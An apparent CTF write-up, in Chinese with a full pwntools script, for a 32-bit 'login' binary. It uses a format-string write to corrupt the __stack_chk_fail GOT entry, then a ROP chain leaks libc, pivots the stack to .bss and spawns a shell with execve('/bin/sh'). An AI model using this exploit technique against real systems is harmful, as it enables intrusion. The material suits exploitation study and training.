exp produce

sprintf修改stack_chk_fail

padding = p32(stack_chk_fail_addr)
# 这里需要不断调整
padding = padding.ljust(0x50, 'c')
padding += gadget_arg(puts_plt_addr, puts_got_addr) # puts(puts_addr)
# read_buff(shell_rop, 0x01010101, 0x01010101)
# 这里要注意, 字符串有一定的限制 而且要注意call read_buff 时的结尾符要设置合理,这里是0x01
padding += gadget_args(read_buff_addr, [bss_wr_addr, 0x01010101, 0x01010101], sub_pop4_ret_addr)
# 恢复栈, 这里具体要填充多少个'h'是通过调试看
# 然后再通过leave 使得 esp=ebp-4
padding += 12*'h' + p32(bss_wr_addr-0x04) + p32(leave_ret_addr)
padding += 'A' * (0xeb - len(padding))
# hh: unsigned char 这里要覆盖chk_fail的最后一个字节
padding += '%10$hhn-----'

构造的username如下

stack_ch_fail padding 'c' rop padding 'A' format_str end str

username溢出到格式化 '%s%s' 后面,从而改写

stackchfail

的最后一个字节

然后call stack的时候变成了去执行rop

rop依旧是先泄露,后获取shell。

不过这里要注意的是因为只能输入一次username(读两次的话比较难利用),但是在输入username时没有泄露地址,所以还有进行第二次rop。

padding += 12*'h' + p32(bss_wr_addr-0x04) + p32(leave_ret_addr)

就是为第二次rop做准备,这里是把第二次rop放到了bss处,然后通过leave,将esp转变到bss处,之后执行第二次rop

完整exp

# coding:utf-8
from pwn import *

elf = ELF('./login')
fp = open('exp', 'wb')
#context.log_level = 'debug'

puts_got_addr = 0x804A01C
puts_plt_addr = 0x80484c0
read_plt = 0x8048480
stack_chk_fail_addr = 0x804A014

pop_ret_addr = 0x8048465        # pop ebx; ret
add_esp_ret = 0x8048462         # add esp, 0Ch; ret
pop_ebp_ret_addr = 0x804871F    # pop ebp; ret
sub_pop4_ret_addr = 0x08048915  # sub esp, 0Ch; pop ebx; pop esi; pop edx; pop ebp; ret
pop3_ret_addr = 0x8048919       # pop 3 reg; ret
leave_ret_addr = 0x80486CF      # leave; ret
ret_addr = 0x8048466            # ret

bss_wr_addr = 0x804Ae20 # 需要可写
read_buff_addr = 0x804862B  # 利用程序已有的去读取比较方便
call_puts_addr = 0x8048761  # 利用已有的call

# info of lic2.19
puts_offset = 0x064DA0
execv_offset = 0xB4EA0

# call function(arg); return to pop ret
def gadget_arg(func_addr, arg):
    payload = p32(func_addr)
    payload += p32(pop_ret_addr)
    payload += p32(arg)
    return payload

# call function(args[0], args[1], args[2]); return to func_ret
def gadget_args(func_addr, args, func_ret):
    payload = p32(func_addr)
    payload += p32(func_ret)
    for arg in args:
        payload += p32(arg)
    return payload

def pwn():
    padding = p32(stack_chk_fail_addr)
    # 这里需要不断调整
    padding = padding.ljust(0x50, 'c')
    padding += gadget_arg(puts_plt_addr, puts_got_addr)          # puts(puts_addr)
    # read_buff(shell_rop, 0x01010101, 0x01010101)
    # 这里要注意, 字符串有一定的限制 而且要注意call read_buff 时的结尾符要设置合理,这里是0x01
    padding += gadget_args(read_buff_addr, [bss_wr_addr, 0x01010101, 0x01010101], sub_pop4_ret_addr)
    # 恢复栈, 这里具体要填充多少个'h'是通过调试看
    # 然后再通过leave 使得 esp=ebp-4
    padding += 12*'h' + p32(bss_wr_addr-0x04) + p32(leave_ret_addr)
    padding += 'A' * (0xeb - len(padding))
    # hh: unsigned char   这里要覆盖chk_fail的最后一个字节
    padding += '%10$hhn-----'
    #padding += '_%10$p'  测试参数的位置

    # produce username and password
    username = padding
    password = 'ED'
    # 由于上面rop的是 read_buff(shell_rop, 0x01010101, 0x01010101)字符串以0x01结尾
    pad_shell = '/bin/sh\x01'  

    print 'username: ', username, hex(len(username))
    p = process('./login')
    p.recvuntil('username:')
    p.sendline(username)

    # password 随意
    p.recvuntil('password:')
    p.sendline(password)
    p.recvuntil('AAA\n')
    #print p.recvall()

    # read address of puts
    raw_input('leak puts?')
    data = p.recvuntil('\n')[:-1]
    print data
    puts_addr = u32(data[:4])
    print 'address of puts:', hex(puts_addr)
    libc_addr = puts_addr - puts_offset
    print 'address of libc:', hex(libc_addr)
    execve_addr = libc_addr + execv_offset
    print 'address of execve:', hex(execve_addr)

    # write shell to bss
    shell_rop = p32(execve_addr)
    shell_rop += p32(pop_ret_addr)
    shell_rop += p32(bss_wr_addr+0x40)
    shell_rop += p32(0)
    shell_rop += p32(0)
    shell_rop = shell_rop.ljust(0x40, 'S')
    pad_shell = shell_rop + pad_shell
    p.sendline(pad_shell)
    p.interactive()

pwn()

results matching ""

    No results matching ""